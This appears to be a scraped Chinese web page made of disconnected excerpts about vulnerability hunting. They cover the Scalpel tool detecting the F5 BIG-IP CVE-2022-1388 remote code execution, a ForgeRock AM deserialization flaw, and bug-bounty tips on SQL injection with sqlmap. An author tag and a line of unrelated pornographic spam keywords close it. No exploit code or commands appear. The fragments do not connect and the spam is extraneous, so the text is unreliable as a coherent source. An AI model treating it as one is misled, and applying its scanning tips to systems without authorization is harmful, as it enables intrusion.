    最后對響應的匹配,使用正則識別id命令之后的結果。成功掃描出CVE-2022-1388F5 BIG-IP API Unauthenticated RCE漏洞漏洞的請求也變異無誤,最后的響應中也是執行了id命令。案例二:利用Scalpel工具挖掘多個0day漏洞Scalpel工具使用較為靈活,通過對檢測目標變異響應的check,可以發現檢測目標中未知的安全問題。同時發現某Apache開源項目的CVE漏洞,報告被該團隊接受并正在修復,尚未披露。
    攻擊者可在無需認證的情況下,通過構造特殊的請求,觸發反序列化,從而執行任意代碼,接管運行ForgeRock AM的服務器。本文從漏洞挖掘的角度分析其中的技術細節,也將公開一些其他的反序列化點。
    對于公益SRC來說,想要沖榜就不能在一個站上浪費大量時間,公益SRC對洞的質量要求不高,所以只要 花時間,還是可以上榜的。在對某站點進行測試SQL注入的時候,先通過一些方式測試是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工測試,然后提交漏洞。任意注冊算是低危漏洞,不過也有兩分。不管是進行SRC漏洞挖掘,還是做項目進行滲透測試,又或者是打紅藍對抗,一定要做好信息收集。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类